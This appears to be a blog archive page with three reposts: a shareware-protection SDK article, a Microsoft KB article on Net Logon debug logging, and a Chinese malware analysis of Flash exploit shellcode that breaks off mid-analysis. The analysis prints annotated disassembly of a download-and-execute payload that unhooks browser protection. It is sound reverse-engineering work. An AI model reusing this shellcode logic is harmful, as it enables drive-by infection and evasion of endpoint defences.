TwitterTwitter FacebookFacebook FlickrFlickr RSSRSS

20080707

A Secure Software Distributon SDK

By Emilio Guijarro

SSD SDK provides security for your shareware programs through strong cryptographic techniques.

74 votes for this Article.
Popularity: 8.43 Rating: 4.51 out of 5
2 votes, 3.2%
1
2 votes, 3.2%
2
2 votes, 3.2%
3
11 votes, 17.5%
4
46 votes, 73.0%
5

Index

Description

SSD SDK stands for "Secure Software Distribution SDK", and it offers several tools and code which will stop most cracking activities over your software. But first, we'll have a look on the most typical shareware schemes:

X Days/Uses trial scheme:

This scheme prevents your software to be used more than a defined number of days (usually 30) or executions. This kind of protection is easy to defeat because your software has to store the number of remaining days or uses in a secure place, and there is no secure place in any computer. These values can be encrypted or stored in "strange" locations, but it will only delay the inevitable, your trial period will be reset or extended to infinite.

Incomplete software releases:

It is very common to release two versions of the software, the full and the incomplete version. The full version is the one given to every user who has paid for the software. The incomplete version is freely released to the world, without caring about crackers, because they can't do anything against an incomplete software (well, they can write the absent pieces of code, but it would be a bit stupid...). Another issue is that malicious registered users can "lend" it to other users, violating the one-license-one-user distribution concept.

Unlocking software:

This kind of software has all the full-version characteristics but they are not available to the user, unless the user pays for an unlock code which unleashes all the power of the software. Under the commercial perspective, this is great, you only have to distribute a copy of the software, and wait till the unlock requests arrive. One simple e-mail with the unlock code will be enough to deliver your full software to any part of the world. Under the security and programming perspective, this is a hard problem... advanced tools such as low level-debuggers and disassemblers can be used to trace and analyze your applications and get the unlocking code generation algorithms, and also patch your application code to avoid the unlocking code protection.

SSD SDK has been developed to enhance the security of the applications using the third technique. It encrypts the non-public parts of your programs using strong cryptographic algorithms, and prevents the key sharing via asymmetric encryption.

Workflow

Well, you have in your hands the result of a lot of programming and debugging months... the final version of your software is ready, and you want to release it across the world through the World Wide Web. But you will not give it for free, what you want to do is to release it with a reduced functionality, and allow users to extend this functionality if they consider (after testing your program) that it is useful for them.

It's time to think a bit... when you create a software which unlocks itself, it only allows access to portions of code which have been there in every moment, so anybody can patch your software to avoid the security issues and run that code as usual. No matter if you use an external packer-compressor-protector... the program data and code will be in memory when it executes, so it can be dumped and rebuilt by an experimented cracker in a relative small amount of time. But... how can I protect my code in that case?!?!?!. The solution is to encrypt the code making it available only to registered users.

The encryption algorithms should be very carefully chosen. This will be discussed in the Algorithms and key lengths section.

Let's return to the first step, you have the software in your hand, for example, a MPEG compressor. This compressor features high speed compression and a fine audio/video quality, due to it's variety of compression algorithms, based on multiple hardware acceleration tricks, such as MMX, 3dnow! and SSE extended instruction sets.

You want to release your software allowing the user to take advantage of the MMX-based algorithms, but those who want to accelerate the compression using 3dnow! and SSE should upgrade to the full version. What you have to do, is to release your software with the extended algorithms encrypted. I will discuss later (in the Tools included section) about how to create a secure private key and encrypt your code using it.

Once your users have tested your software and know that they *need* 3dnow! and SSE extended algorithms, they should get the key to decrypt the code. This can be done in many ways, but the most common takes advantage of the public cryptography scheme, which allows to share private data between users without using secured channels to transmit private keys. Resuming, your user contacts you, sending a public key, which will be used to transmit the unlocking key. Finally, his "license file" is installed in the program directory and the security code verifies it and decrypts the code in memory. Every user has a different random public/private key pair. This ensures that your license will not be shared between different computers.

Compatibility

Your code is protected from the moment in that the executable file is processed and the code is encrypted. This step is done by an external tool which opens your executable file and looks in its section table for a section called .secure; this section contains your "protected" code and is fully encrypted.

This means that your compiler/linker should be able to place any code you want in a separate section with any name you want. At the moment of writing this article, only a compiler with this ability has been found, and it is Visual C++. If your know other compilers which can do this, please notify it to me.

Due to export restrictions, some encryption algorithms will not work in determinate countries. For example, a computer located in France using Windows 95, 98 or NT 4 will not encrypt data under some circumstances.

The API used (CryptoAPI 2.0) is available in Windows 95 OSR2 and later, so this code must work in "any" Microsoft 32-bit operating system.

Package contents

  • Command line tools: keygen.exe, licgen.exe and protect.exe. These tools help you create keys, protect your application and generate licenses.
  • Dynamic Link Library stub: ssdstub.dll. The file which should be carried out with your application. It looks for the license file and validates it every time your software is loaded.
  • C++ code files: ssdhelper.h and ssdhelper.cpp. Files including the functions defined in the Reference section.
  • C++ code sample: sample.cpp. Code including a simple application. You can use it to practice before protecting a "serious" project.

Tools included

The SSD SDK contains three tools. Quotes are required only when using spaced paths (i.e. c:my docstarget.exe).

  • keygen.exe

    Creates a file with a random software key. The file must be securely stored in a safe place (i.e. CD-ROM, floppy, or an encrypted HD file). The command line arguments of this file are quite simple:

    keygen.exe "keyfile_path"

    If no file is specified, a file called private.key is created in the current working directory. Example:

    keygen.exe "c:softwarekey.dat"
  • protect.exe

    Protects the specified executable using the specified key.

    protect.exe "executable_path" "secretkey_path"

    Example:

    protect.exe "c:codingprojectproject.exe" "c:softwarekey.dat"
  • licgen.exe

    Creates the corresponding user license to the specified user public key and software key.

    licgen.exe "secretkey_path" "userkey_path" "output_path"

    Example:

    licgen.exe "c:softwarekey.dat" "c:userkeysjohn.key" 
    "c:licensesjohn.lic"

Reference

There is a final question to answer: How do my software create user keys, and validate licenses?... Don't worry about it, all this stuff is coded in a separate .dll file, you only have to call one of its simple functions to verify the security context. The functions are declared and implemented in a file contained in the same SDK package, so you only have to add these files to your project and include the header file everywhere you need it. The function specs are the following:

  • bool Initialize(const char *lpszApplicationName);

    Must be called as soon as possible in your program execution timeline (from the main function or the InitInstance CWinApp's member). This function verifies the licenses, if present, and decrypts the code if necessary. lpszApplicationName should be the same always for your application, if two different applications (or versions of the same application) use the same name, a key container conflict will occur and the result may be unpredictable. This function always checks for the license.key file, so do not use other names to the user license file.

  • void ExportKey(const char *lpszFilename);

    Creates a user public key file which should be sent to de developer to get the license key. You can send this file compressed using e-mail, or attach to the beginning (or the end) some user-related information, but remember that the license generator will not work if the header of the file has been corrupted, so strip its additional information before attempting to create any license from a given file. lpszFilename specifies the file to create the key.

  • bool IsUnlocked();

    Returns true if a license has been found and the software has been decrypted with it. Returns false if there is no license file or it is invalid.

Finally, you should know how to store your protected code in a separate section with a specified name. In the Visual C++ compiler/linker, this is done through the #pragma code_seg sentence, let's have a look on an easy example.

#pragma code_seg(push, r1, ".secure")
void CMyApplication::DoExtendedFunction() {
// Do something cool ;)
}
#prgama code_seg(pop)

You can also store all the protected code in a separate file to avoid redundancy of #pragma code_seg declarations. This can be used also with non class member functions.

Algorithms and key lengths

All the tools and stub code described in this article have been coded using CryptoAPI 2.0. This API offers symmetric and asymmetric encryption routines, and also features key management, hashing and signing techniques. Used algorithms and key lengths are described in the following table:

Task Algorithm Key length
Code encryption RC4 Stream encryption algorithm 128 bits
Key sharing RSA Public-key exchange algorithm 1024 bits

As described in the excellent book "Handbook of applied cryptography", a secure encryption system bases its security in the key used to encrypt the message, and not in the privacy of the algorithm. In other words, no matter if the chosen algorithms have been published and tested for the scientific community around the world, its security resides in the extensive number of keys which can be used when encrypting. This ensures that it is necessary a large amount of resources (computer memory and clock cycles) to find a key which decrypts the message correctly.

Notes

This small SDK has been developed to show that it is not necessary to spend a lot of money to distribute our software under a good protection scheme. It is not perfect, but minor (or major) leaks and bugs will be covered in the future with other users' help.

License

This article has no explicit license attached to it but may contain usage terms in the article text or the download files themselves. If in doubt please contact the author via the discussion board below.

A list of licenses authors might use can be found here

About the Author

Emilio Guijarro


Emilio is a Computer Engineer currently working as software engineer in embedded systems.

Main interests are C/C++ programming, algorithmics, compilers, embedded systems, cryptography, and operating systems.
Occupation: Instructor/Trainer
Location: Netherlands Netherlands

Enabling debug logging for the Net Logon service

Article ID:109626
Last Review:April 21, 2008
Revision:9.0
This article was previously published under Q109626

SUMMARY

This article details the steps to enable logging of debug information by using a debug version of Net Logon and the required debug DLLs.

MORE INFORMATION

Important This section, method, or task contains steps that tell you how to modify the registry. However, serious problems might occur if you modify the registry incorrectly. Therefore, make sure that you follow these steps carefully. For added protection, back up the registry before you modify it. Then, you can restore the registry if a problem occurs. For more information about how to back up and restore the registry, click the following article number to view the article in the Microsoft Knowledge Base:
322756 (http://support.microsoft.com/kb/322756/) How to back up and restore the registry in Windows

Windows Server 2008, Windows Vista, Windows Server 2003, Windows XP Professional, and Windows 2000 Server versions

The version of Netlogon.dll that has tracing included is installed by default. To enable debug logging, set the debug flag that you want in the registry and restart the service by using the following steps:
1.Start the Regedt32 program.
2.Delete the Reg_SZ value of the following registry entry, create a REG_DWORD value with the same name, and then add the 2080FFFF hexadecimal value.
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetlogonParametersDBFlag
3.At a command prompt, type net stop netlogon, and then type net start netlogon. This enables debug logging.
4.To disable debug logging, change the data value to 0x0 in the following registry key:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetlogonParametersDBFlag
5.Quit Regedt32.
6.Stop Net Logon, and then restart Net Logon.

Notes
After you restart Net Logon, Net Logon-related activity may be logged to %windir%debugnetlogon.log.
The MaximumLogFileSize registry entry can be used to specify the maximum size of the Netlogon.log file. By default, this registry entry does not exist, and the default maximum size of the Netlogon.log file is 20 MB. When the file reaches 20 MB, it is renamed to Netlogon.bak, and a new Netlogon.log file is created. This registry entry has the following parameters:

Path: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetlogonParameters
Value Name: MaximumLogFileSize
Value Type: REG_DWORD
Value Data: <maximum log file size in bytes>
On Windows Server 2003-based computers, you can use the following Group Policy to configure the log file size:
Computer ConfigurationAdministrative TemplatesSystemNet LogonMaximum Log File Size
Note As an alternate method, you can set the dbflag without using the registry. To do this run the following command from a command prompt:
nltest /dbflag:0x2080ffff
Nltest is included as part of Windows Server 2008 and is also available as part of the Support Tools packages on the installation media for Windows Server 2003, Windows XP, and Windows 2000.

After you finish debugging, you can run the nltest /dbflag:0x0 command from a command prompt to reset the debug flag to 0. For more information, click the following article numbers to view the articles in the Microsoft Knowledge Base:
247811 (http://support.microsoft.com/kb/247811/) How domain controllers are located in Windows
189541 (http://support.microsoft.com/kb/189541/) Using the checked Netlogon.dll to track account lockouts
Note This is the public version of this article.
//////////////////////////////////////////////////////////////////////// 
// Windows Server 2008, Windows Vista, Windows Server 2003, Windows 2000 Debug flags and their values
////////////////////////////////////////////////////////////////////////


#define NL_INIT 0x00000001 // Initialization
#define NL_MISC 0x00000002 // Misc debug
#define NL_LOGON 0x00000004 // Logon processing
#define NL_SYNC 0x00000008 // Synchronization and replication
#define NL_MAILSLOT 0x00000010 // Mailslot messages
#define NL_SITE 0x00000020 // Sites
#define NL_CRITICAL 0x00000100 // Only real important errors
#define NL_SESSION_SETUP 0x00000200 // Trusted Domain maintenance
#define NL_DOMAIN 0x00000400 // Hosted Domain maintenance
#define NL_2 0x00000800
#define NL_SERVER_SESS 0x00001000 // Server session maintenance
#define NL_CHANGELOG 0x00002000 // Change Log references
#define NL_DNS 0x00004000 // DNS name registration

//
// Very verbose bits
//

#define NL_WORKER 0x00010000 // Debug worker thread
#define NL_DNS_MORE 0x00020000 // Verbose DNS name registration
#define NL_PULSE_MORE 0x00040000 // Verbose pulse processing
#define NL_SESSION_MORE 0x00080000 // Verbose session management
#define NL_REPL_TIME 0x00100000 // replication timing output
#define NL_REPL_OBJ_TIME 0x00200000 // replication objects get/set timing output
#define NL_ENCRYPT 0x00400000 // debug encrypt and decrypt across net
#define NL_SYNC_MORE 0x00800000 // additional replication dbgprint
#define NL_PACK_VERBOSE 0x01000000 // Verbose Pack/Unpack
#define NL_MAILSLOT_TEXT 0x02000000 // Verbose Mailslot messages
#define NL_CHALLENGE_RES 0x04000000 // challenge response debug
#define NL_SITE_MORE 0x08000000 // Verbose sites

//
// Control bits.
//

#define NL_INHIBIT_CANCEL 0x10000000 // Don't cancel API calls
#define NL_TIMESTAMP 0x20000000 // TimeStamp each output line
#define NL_ONECHANGE_REPL 0x40000000 // Only replicate one change per call
#define NL_BREAKPOINT 0x80000000 // Enter debugger on startup

Setting up to debug Net Logon on Windows NT 3.51

1.CD %windir%system32
2.Rename Lsass.exe Lsass.fre
3.Rename Lsasrv.dll Lsasrv.fre
4.Rename Netlogon.dll Netlogon.free
5.Copy the checked version of Lsass.exe, Lsasrv.dll and Netlogon.dll to the System32 directory. You can obtain the checked version from the DDK.
6.CD %windir%
7.MD debug
8.Start Regedt32
9.Change the REG_DWORD value of the following registry key to 2080FFFF, and then quit Regedt32.
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetlogonParametersDBFlag

Set up to debug Net Logon on Windows NT 4.0

1.CD %windir%system32.
2.Rename Netlogon.dll Netlogon.free.
3.Copy the checked version of Netlogon.dll to the system32 directory. You can obtain the checked version from the DDK.
4.Start Regedt32.
5.Delete the Reg_SZ value of the following registry entry, create a REG_DWORD value with the same name, and then add the 2080FFFF hexadecimal value.
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetlogonParametersDBFlag
6.Quit Regedt32, and then restart the server
7.Confirm that the debug directory was created under the %windir% directory and contains a Netlogon.log file.
Note A Netlogon 3051 eventlog error may be returned and the Net Logon service may not respond to start if the value entered for DBFlag is not entered as a hex value, for example, 0x2400ffff.
//////////////////////////////////////////////////////////////////////// 
//
// 3.5, 3.51 and 4.00 Debug flags and their values.
//
////////////////////////////////////////////////////////////////////////
      #define NL_INIT          0x00000001 // Initialization
#define NL_MISC 0x00000002 // Misc debug
#define NL_LOGON 0x00000004 // Logon processing
#define NL_SYNC 0x00000008 // Synchronization and
replication

#define NL_MAILSLOT 0x00000010 // Mailslot messages
#define NL_PULSE 0x00000020 // Pulse processing
#define NL_CRITICAL 0x00000100 // Only real important errors
#define NL_SESSION_SETUP 0x00000200 // Trusted Domain maintenance
#define NL_DOMAIN 0x00000400 // Hosted Domain maintenance
#define NL_PACK 0x00000800 // Pack/Unpack of sync messages
#define NL_SERVER_SESS 0x00001000 // Server session maintenance
#define NL_CHANGELOG 0x00002000 // Change Log references
#define NL_DNS 0x00004000 // DNS name registration
// 
// Very verbose bits
//
      #define NL_DNS_MORE      0x00020000 // Verbose DNS name registration
#define NL_PULSE_MORE 0x00040000 // Verbose pulse processing
#define NL_SESSION_MORE 0x00080000 // Verbose session management
#define NL_REPL_TIME 0x00100000 // replication timing output
#define NL_REPL_OBJ_TIME 0x00200000 // replication objects get/set
timing

output
#define NL_ENCRYPT 0x00400000 // debug encrypt and decrypt
across

net
#define NL_SYNC_MORE 0x00800000 // additional replication
dbgprint

#define NL_PACK_VERBOSE 0x01000000 // Verbose Pack/Unpack
#define NL_MAILSLOT_TEXT 0x02000000 // Verbose Mailslot messages
#define NL_CHALLENGE_RES 0x04000000 // challenge response debug
#define NL_NETLIB 0x08000000 // Netlogon portion of Netlib
// 
// Control bits.
//
      #ifdef DONT_REQUIRE_ACCOUNT<BR/>
#define NL_DONT_REQUIRE_ACCOUNT 0x00020000 // Don't require
account on
DC discovery
#endif DONT_REQUIRE_ACCOUNT

#define NL_INHIBIT_CANCEL 0x10000000 // Don't cancel API calls
#define NL_TIMESTAMP 0x20000000 // TimeStamp each output line
#define NL_ONECHANGE_REPL 0x40000000 // Only replicate one change per
call

#define NL_BREAKPOINT 0x80000000 // Enter debugger on startup
//////////////////////////////////////////////////////////////////////// 
//
// 3.1 Debug flags and their values.
//
////////////////////////////////////////////////////////////////////////
#define NL_INIT 0x00000001 // Initialization
#define NL_MISC 0x00000002 // Misc debug
#define NL_LOGON 0x00000004 // Logon processing
#define NL_SYNC 0x00000008 // Synchronization and
replication
#define NL_MAILSLOT 0x00000010 // Mailslot messages
#define NL_PULSE 0x00000020 // Pulse processing
#define NL_CRITICAL 0x00000100 // Only real important errors
#define NL_SESSION_SETUP 0x00000200 // Trusted Domain maintenance
#define NL_PACK 0x00000800 // Pack/Unpack of sync messages
#define NL_SERVER_SESS 0x00001000 // Server session maintenance
#define NL_CHANGELOG 0x00002000 // Change Log references
      // 
// Very verbose bits
//
      #define NL_PULSE_MORE    0x00040000 // Verbose pulse processing
#define NL_SESSION_MORE 0x00080000 // Verbose session management
#define NL_REPL_TIME 0x00100000 // replication timing output
#define NL_REPL_OBJ_TIME 0x00200000 // replication objects get/set
timing output
#define NL_ENCRYPT 0x00400000 // debug encrypt and decrypt
                                             across net
#define NL_SYNC_MORE 0x00800000 // additional replication
dbgprint
#define NL_PACK_VERBOSE 0x01000000 // Verbose Pack/Unpack
#define NL_MAILSLOT_TEXT 0x02000000 // Verbose Mailslot messages
#define NL_CHALLENGE_RES 0x04000000 // challenge response debug
#define NL_NETLIB 0x08000000 // Netlogon portion of Netlib
      // 
// Control bits.
//
      #define NL_INHIBIT_CANCEL 0x10000000 // Don't cancel API calls
#define NL_TIMESTAMP 0x20000000 // TimeStamp each output line
#define NL_ONECHANGE_REPL 0x40000000 // Only replicate one change per
call
#define NL_BREAKPOINT 0x80000000 // Enter debugger on startup
   Opcode values that are returned in the Netlogon Logs for Troubleshooting
      #define LOGON_REQUEST            0   // LM1.0/2.0 LOGON Request from
client
#define LOGON_RESPONSE 1 // LM1.0 Response to
LOGON_REQUEST
#define LOGON_CENTRAL_QUERY 2 // LM1.0 QUERY for centralized
init
#define LOGON_DISTRIB_QUERY 3 // LM1.0 QUERY for non-
centralized init
#define LOGON_CENTRAL_RESPONSE 4 // LM1.0 response to
LOGON_CENTRAL_QUERY
#define LOGON_DISTRIB_RESPONSE 5 // LM1.0 resp to
LOGON_DISTRIB_QUERY
#define LOGON_RESPONSE2 6 // LM2.0 Response to
LOGON_REQUEST
#define LOGON_PRIMARY_QUERY 7 // QUERY for Primary DC
#define LOGON_START_PRIMARY 8 // announce startup of Primary
DC
#define LOGON_FAIL_PRIMARY 9 // announce failed Primary DC
#define LOGON_UAS_CHANGE 10 // announce change to UAS or SAM
#define LOGON_NO_USER 11 // announce no user on machine
#define LOGON_PRIMARY_RESPONSE 12 // response to
LOGON_PRIMARY_QUERY
#define LOGON_RELOGON_RESPONSE 13 // LM1.0/2.0 resp to relogn
request
#define LOGON_WKSTINFO_RESPONSE 14 // LM1.0/2.0 resp to interrogate
request
#define LOGON_PAUSE_RESPONSE 15 // LM2.0 resp when NETLOGON is
paused
#define LOGON_USER_UNKNOWN 16 // LM2.0 response when user is
unknown
#define LOGON_UPDATE_ACCOUNT 17 // LM2.1 announce account
updates
#define LOGON_SAM_LOGON_REQUEST 18 // SAM LOGON request from client
#define LOGON_SAM_LOGON_RESPONSE 19 // SAM Response to SAM logon
request
#define LOGON_SAM_PAUSE_RESPONSE 20 // SAM response when NETLOGON is
paused
#define LOGON_SAM_USER_UNKNOWN 21 // SAM response when user is
unknown
#define LOGON_SAM_WKSTINFO_RESPONSE 22 // SAM response to
interrogate request
1.Net Stop Netlogon
2.Net Start Netlogon.
This may start logging the Net Logon-related activity to %windir%debugnetlogon.log.

APPLIES TO
Microsoft Windows Server 2003, Standard Edition (32-bit x86)
Microsoft Windows Server 2003, Enterprise Edition (32-bit x86)
Microsoft Windows Server 2003, Datacenter Edition (32-bit x86)
Microsoft Windows Server 2003, Web Edition
Microsoft Windows XP Professional
Microsoft Windows 2000 Server
Microsoft Windows 2000 Advanced Server
Microsoft Windows 2000 Datacenter Server
Microsoft Windows NT Advanced Server 3.1
Microsoft Windows NT Server 3.5
Microsoft Windows NT Server 3.51
Microsoft Windows NT Server 4.0 Standard Edition
Microsoft Windows NT Workstation 3.1
Microsoft Windows NT Workstation 3.5
Microsoft Windows NT Workstation 3.51
Microsoft Windows NT Workstation 4.0 Developer Edition
Windows Server 2008 Standard
Windows Server 2008 Enterprise
Windows Server 2008 Standard without Hyper-V
Windows Server 2008 for Itanium-Based Systems
Windows Server 2008 Enterprise without Hyper-V
Windows Vista Ultimate
Windows Vista Home Premium
Windows Vista Home Basic
Windows Vista Enterprise
Windows Vista Business

Back to the top

Keywords:
kbhowto kbusage KB109626

20080703

轉貼:flash漏洞所用shellcode的分析

最近幾天flash漏洞的網馬非常流行,於是我想分析一下shellcode是怎麼跑的。

但是能力所限,還難以像大牛們一起定位到有漏洞的代碼及觀察整個溢出過程。於是,我只能做後面一部分工作,即看看那個畸形flash文件中的shellcode長得什麼樣子,它運行起來會有什麼動作。

我使用的是從網站抓下來的win 9,0,115,0ie.swf。很容易地就在畸形.swf文件中找到了shellcode的位置,在連文件頭偏移0xEB處開始。之後我將這段 shellcode拷貝到一個可執行文件的入口點開頭處,這樣我就可以在OD裡直接調試shellcode了。

調試過程中我發現,由於flash這次的漏洞,真的給了一個很充裕的空間讓編寫者盡情地發揮他們的shellcode編寫才能,我看到了一個比以往任何一個利用ActiveX漏洞的shellcode都要複雜的shellcode。

該shellcode的功能很全面,不但有一般shellcode的xor加密,獲取API地址和執行下載病毒並運行的操作,還有更多的操作使得shellcode更加的強悍而實用。
這些操作包括:

1. shellcode有效時間限制,當發現系統時間遲於shellcode中保存的一個固定時間時,直接ExitThread。這應該是flash網馬生成器發佈者所做的,可能出於商業考慮,避免別人通過簡單修改病毒URL地址而生成自己的利用文件。

2. 從kernel32.dll的輸入表中取ZwCreateProcessEx、ZwWriteVirtualMemory的地址,對這兩處地址進行 inline hook,hook到自身保存的相應的原始代碼中,並對CreateProcessInternalW的前面幾個字節進行了inline hook的還原。
這些操作都是針對MAXTHON等使用以上API HOOK方式對遊覽器進行執行保存的措施而出台的anti方式。雖然這種方法早已被提出,是大家皆知的,但是在以前的網馬應用中,由於可用的緩衝區並不是 那麼大,不適於加入這些額外的代碼,因此我一直沒有看到還原hook過瀏覽器保護方法的實際利用。而在這次,我終於看到了一個實際利用的例子。

3. 使用CreateProcessInternalA進行最後下載到本機的病毒文件的執行。以前一般的shellcode是用WinExec。

下面是shellcode執行流程的分析,分析基本在註釋當中,標號(1)、(2)……代碼了執行流程順序,依照標號便可容易理解整個流程。

首先開始是一次xor解密,每兩個字節與0x4522進行異或。

00407000 > /EB 16 jmp short 00407018 ; (1)F8
00407002 |5B pop ebx ; (3)
00407003 |33C9 xor ecx, ecx
00407005 |66:B8 2245 mov ax, 4522
00407009 |66:31044B xor word ptr [ebx+ecx*2], ax ; xor解密
0040700D |41 inc ecx
0040700E |40 inc eax
0040700F |66:81F9 6201 cmp cx, 162
00407014 ^|7C F3 jl short 00407009 ; (4)循環,在下面一句F4
00407016 |EB 05 jmp short 0040701D ; (5)再F8一下,跳入解密後的代碼
00407018 E8 E5FFFFFF call 00407002 ; (2)F7

接下來是解密後的實際代碼

首先是取得kernel32.dll中的API函數地址並填入後面的數據區。這裡使用的是很常用的方法,通過PEB得到kernel32.dll的基址, 然後通過遍歷其輸出表,把每一函數名稱字符串經過一個加密運算,再將結果與輸入的值比較,進而找到符合的API函數位置。

0040701D E9 65020000 jmp 00407287 ; (6)解密後代碼開頭,往下跳到最後
00407022 5F pop edi ; (8)定位自身地址,此時為後面數據區地址
00407023 6A 30 push 30
00407025 59 pop ecx
00407026 64:8B01 mov eax, dword ptr fs:[ecx] ; _PEB
00407029 8B98 A8000000 mov ebx, dword ptr [eax+A8] ; _PEB.OSMijorVersion
0040702F 8B40 0C mov eax, dword ptr [eax+C]
00407032 8B70 1C mov esi, dword ptr [eax+1C]
00407035 AD lods dword ptr [esi]
00407036 8B68 08 mov ebp, dword ptr [eax+8] ; (9)kernel32.dll基址入ebp
00407039 8BF7 mov esi, edi
0040703B 81EC 00020000 sub esp, 200
00407041 85DB test ebx, ebx
00407043 75 07 jnz short 0040704C ; (10)判斷是2000的系統還是XP,我這裡是XP,直接跳走
00407045 C746 24 C9525E5>mov dword ptr [esi+24], 535E52C9 ; 如是2000系統,則修改下面的數據
0040704C 6A 09 push 9
0040704E 59 pop ecx
0040704F E8 EE010000 call 00407242 ; (11)這裡F8就可以了,依照數據區開頭的幾個加密結果,遍歷輸出表找函數,把函數地址覆蓋掉原來的另密結果
00407054 ^ E2 F9 loopd short 0040704F ; 循環,直接在下面F4

這裡填入的API地址依次為(以此時相對esi的偏移,即下面調用時使用的[esi+XX]中的XX為序)
0x00 LoadLibraryA
0x04 GetTempPathA
0x08 DeleteFileA
0x0C CreateProcessInternalA
0x10 ExitThread,
0x14 VirtualProtect
0x18 CreateProcessInternalW
0x1C CompareFileTime
0x20 GetSystemTimeAsFileTime

接著搜索內存得到一個「retn」命令位置(實際上不一定是retn命令),用於後面的anti-debug。

00407056 40 inc eax ; GetSystemTimeAsFileTime
00407057 8038 C3 cmp byte ptr [eax], 0C3
0040705A ^ 75 FA jnz short 00407056 ; (12)循環搜索內存特徵,其實是為了借用一個retn代碼來改變程序流程反調試
0040705C 8946 30 mov dword ptr [esi+30], eax ; 這裡搜索到的是7C801881

再接著遍歷kernel32.dll的輸入表,再取兩個NATIVE API函數的地址。

0040705F 6A 02 push 2
00407061 59 pop ecx
00407062 E8 9E010000 call 00407205 ; 再次搜索輸出表得到函數地址
00407067 ^ E2 F9 loopd short 00407062

這裡取到的地址是(以此時相對esi的偏移,即下面調用時使用的[esi+XX]中的XX為序)

0x24 ZwCreateProcessEx
0x28 ZwWriteVirtualMemory

接著是使用LoadLibraryA加載urlmon.dll並取得URLDownloadToFileA函數的地址。值得一提的是這裡不是直接call而是用在子函數裡用先push返回地址再jmp的方式。

00407069 6A 01 push 1
0040706B 59 pop ecx
0040706C 68 6F6E0000 push 6E6F
00407071 68 75726C6D push 6D6C7275
00407076 54 push esp ; 'urlmon'
00407077 8B06 mov eax, dword ptr [esi] ; LoadLibraryA
00407079 E8 10010000 call 0040718E ; (13)一個純為了anti-debug而搞出來的子函數,直接在下一句下斷,再F9就不會跑飛
0040707E 95 xchg eax, ebp ; urlmon.dll基址入ebp
0040707F E8 BE010000 call 00407242 ; (14)又找函數地址並保存,直接F8,可以看到找到的函數是URLDownloadToFileA

URLDownloadToFileA函數地址被保存在[esi+2C]

在進入實質工作之前,就是附加的操作。

首先是時間限制的驗證
00407084 68 3D400000 push 403D
00407089 6A FF push -1
0040708B 6A FF push -1
0040708D 3E:DB2C24 fld tbyte ptr ds:[esp]
00407091 50 push eax ; 只是在堆棧騰出FILETIME結構的內存空間
00407092 50 push eax
00407093 54 push esp
00407094 FF56 20 call dword ptr [esi+20] ; GetSystemTimeAsFileTime
00407097 8BC4 mov eax, esp
00407099 68 6EC2C801 push 1C8C26E
0040709E 68 00C0B336 push 36B3C000
004070A3 54 push esp
004070A4 50 push eax
004070A5 FF56 1C call dword ptr [esi+1C] ; CompareFileTime
004070A8 48 dec eax
004070A9 75 03 jnz short 004070AE ; (16)系統時間如果晚於設定好的時間,則不跳走
004070AB FF56 10 call dword ptr [esi+10] ; 這樣就直接ExitThread了,也就是這個shellcode的時間限制

我調試的時候,已經過了允許時間了,所以本來就會直接ExitThread,這時可以自己強行把EIP改到下一句,不讓它退出,繼續調試。

接下來的部分我認為比較讓我意外,就是我前面提到的,shellcode中自己保存了NATIVE API的原樣代碼,在這裡對NATIVE API進行了inline hook,hook到shellcode自帶的原樣代碼中,以及把CreateProcessInternalW前面的幾個字節進行了還原,從而破壞了一 些軟件的遊覽器執行保護功能,為自己執行被下載的病毒程序掃清了障礙,這是它優於此前我所見到的漏洞利用shellcode的重要關鍵。

首先是將自身保存的NATIVE API原樣代碼拷貝到PEB後面的空間中。
之所以要拷貝到這裡,我想是為了運行的穩定,如果inline hook直接指向shellcode內部,那麼shellcode執行完被清理掉之後,程序再調用相應NATIVE API的時候,就會崩潰掉。這裡把代碼拷進PEB後面的空間,可以保證在shellcode退出後這部分地址仍然能夠正常訪問,程序也還能正常運行(至少 看起來是那樣)。

004070AE 6A 30 push 30
004070B0 59 pop ecx
004070B1 64:8B19 mov ebx, dword ptr fs:[ecx]
004070B4 8DAB 00040000 lea ebp, dword ptr [ebx+400] ; (17)在PEB結構後面找到一塊空著的內存
004070BA 8B9B A8000000 mov ebx, dword ptr [ebx+A8]
004070C0 8BFD mov edi, ebp
004070C2 56 push esi
004070C3 E9 E0000000 jmp 004071A8 ; (18)跳到下面
004070C8 5E pop esi ; (20)跳回這裡
004070C9 F3:A5 rep movs dword ptr es:[edi], dword ptr [esi] ; 把下面那些摸擬NATIVE API的代碼拷進這塊內存,用於後面inline hook
004070CB 5E pop esi

接著,將「找到的」ZwCreateProcessEx和ZwWriteVirtualMemory的最前面部分,修改為「push XXX,retn」的樣式,以跳到之前拷貝的代碼中:

004070CC 8B7E 24 mov edi, dword ptr [esi+24] ; ZwCreateProcessEx
004070CF E8 25010000 call 004071F9 ; VirtualProtect改函數頭0x20為可讀可寫
004070D4 6A 1A push 1A ; 以下為直接對ZwCreateProcessEx進行inline hook
004070D6 6A 0D push 0D
004070D8 6A 00 push 0
004070DA 8BC5 mov eax, ebp
004070DC 03049C add eax, dword ptr [esp+ebx*4]
004070DF C607 68 mov byte ptr [edi], 68 ; 代碼"push……"
004070E2 47 inc edi
004070E3 AB stos dword ptr es:[edi] ; 內存中拷貝的代碼
004070E4 C607 C3 mov byte ptr [edi], 0C3 ; ret……
004070E7 8B7E 28 mov edi, dword ptr [esi+28] ; ZwWriteVirtualMemory
004070EA E8 0A010000 call 004071F9
004070EF 6A 3D push 3D
004070F1 6A 36 push 36
004070F3 6A 27 push 27
004070F5 8BC5 mov eax, ebp
004070F7 03049C add eax, dword ptr [esp+ebx*4]
004070FA C607 68 mov byte ptr [edi], 68
004070FD 47 inc edi
004070FE AB stos dword ptr es:[edi]
004070FF C607 C3 mov byte ptr [edi], 0C3

為什麼我上面特別強調「找到的ZwCreateProcessEx和ZwWriteVirtualMemory的地址處」?
我們千萬不要忘記,這個做法是針對某些軟件的,衝著哪個軟件?
我想到了MAXTHON2。

搜索一下關於MAXTHON2的瀏覽器執行保護的文章,很早的文章顯示,MAXTHON2正是對ZwCreateProcessEx和ZwWriteVirtualMemory進行了IAT HOOK。
而現在呢,shellcode從kernel32.dll的輸入表中取ZwCreateProcessEx和ZwWriteVirtualMemory的地址,這意味著什麼?
